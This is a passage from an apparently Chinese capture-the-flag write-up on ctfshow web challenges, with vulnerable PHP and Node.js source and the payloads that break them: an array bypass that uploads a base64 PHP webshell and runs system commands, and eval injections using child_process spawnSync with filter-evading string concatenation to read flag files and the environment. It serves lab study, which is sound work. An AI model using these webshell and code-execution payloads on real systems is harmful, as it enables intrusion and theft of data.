if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
$ret=true;
}
return $ret;
}
die(json_encode($ret));
关键代码:
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
break;
preg_match的话我们可以用数组绕过
因为preg_match的第二个参数(待匹配内容)必须是字符串,如果传入的是数组,preg_match会返回false而不是报错
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
GET:
/api/admin_templates.php?action=upload
POST:
name=1.sml&content[]=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B

验证一下:

剩余的步骤跟上题一样,系统配置页面的页面统计写入地址/var/www/html/templates/1.sml
然后新增模板2.sml,内容1{{cnzz}}
最后访问index.php?action=view&page=2执行命令即可
GET:
index.php?action=view&page=2
POST:
1=system('cat /f*');
web515
var express = require('express');
var _= require('lodash');
var router = express.Router();
/* GET users listing. */
router.get('/', function(req, res, next) {
res.render('index', { title: '我是复读机' });
});
router.post('/',function(req,res,next){
if(req.body.user!=null){
msg = req.body.user;
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
res.render('index', { title: '敏感信息不复读' });
}else{
res.render('index', { title: eval(msg) });
}
}else{
res.render('index', { title: '我是复读机' });
}
});
module.exports = router;
eval嵌套执行:
GET:
index.php?a=require('child_process').spawnSync('cat',['/flag']).stdout.toString()
POST:
user=eval(req.query.a)
web516
关键代码为index.js里面的登录成功后显示处,会执行eval函数
const router = require('koa-router')()
const User = require('../models/User.js')
const md5 = require('md5-node')
router.get('/', async (ctx, next) => {
await ctx.render('index',{msg:'ctfshow'});
await next();
});
router.post('/signin',async(ctx,next)=>{
const username = ctx.request.body.username;
const password = ctx.request.body.password;
if(username=='admin'){
ctx.body={
code:'403',
msg:'you are not admin'
};
return;
}
const user = await User.findAll({
where:{
username:username,
password:password
}
});
if(user[0]!==undefined){
ctx.body={
code:'200',
url:'user/'+user[0].id
}
}else{
ctx.body={
code:'404',
msg:'login failed'
};
}
});
router.post('/signup',async(ctx,next)=>{
const username = ctx.request.body.username;
const password = ctx.request.body.password;
if(username=='admin'){
ctx.body={
code:'403',
msg:'you are not admin'
};
return;
}
const u = await User.create({username:username,password:password})
ctx.body={
code:0,
msg:'注册成功'
}
});
router.get('/user/:id',async(ctx,next)=>{
const id=ctx.params.id;
if(id==1){
ctx.body={
code:'403',
msg:'非管理员无权查看'
};
return;
}
const user = await User.findAll({
where:{
id:id
}
});
if(user!==undefined){
ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
}else{
ctx.render('/');
}
});
module.exports = router
关键:
eval('md5('+user[0].password+')');
但是app.js有限制
const Koa = require('koa')
const app = new Koa()
const views = require('koa-views')
const json = require('koa-json')
const onerror = require('koa-onerror')
const bodyparser = require('koa-bodyparser')
const logger = require('koa-logger')
const index = require('./routes/index')
const users = require('./routes/users')
// error handler
onerror(app)
// middlewares
app.use(bodyparser({
enableTypes:['json', 'form', 'text']
}))
app.use(json())
app.use(logger())
app.use(require('koa-static')(__dirname + '/public'))
app.use(views(__dirname + '/views', {
extension: 'ejs'
}))
// logger
app.use(async (ctx, next) => {
const start = new Date()
await next()
const ms = new Date() - start
console.log(`${ctx.method} ${ctx.url} - ${ms}ms`)
})
app.use(async(ctx,next)=>{
if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
return
}else{
await next()
}
})
// routes
app.use(index.routes(), index.allowedMethods())
app.use(users.routes(), users.allowedMethods())
// error-handling
app.on('error', (err, ctx) => {
console.error('server error', err, ctx)
});
module.exports = app
其中:
const bodyparser = require('koa-bodyparser')
app.use(bodyparser({
enableTypes:['json', 'form', 'text']
}))
读取 HTTP 请求的原始 body,根据 Content-Type 解析将解析结果赋值给 ctx.request.body
ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null
不能出现这些字符串,那我们用反引号拼接字符串就可以,还是用上题的代码,修改一下即可
1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('env').stdout.toString()`)
用上述作为密码注册+登录

浙公网安备 33010602011771号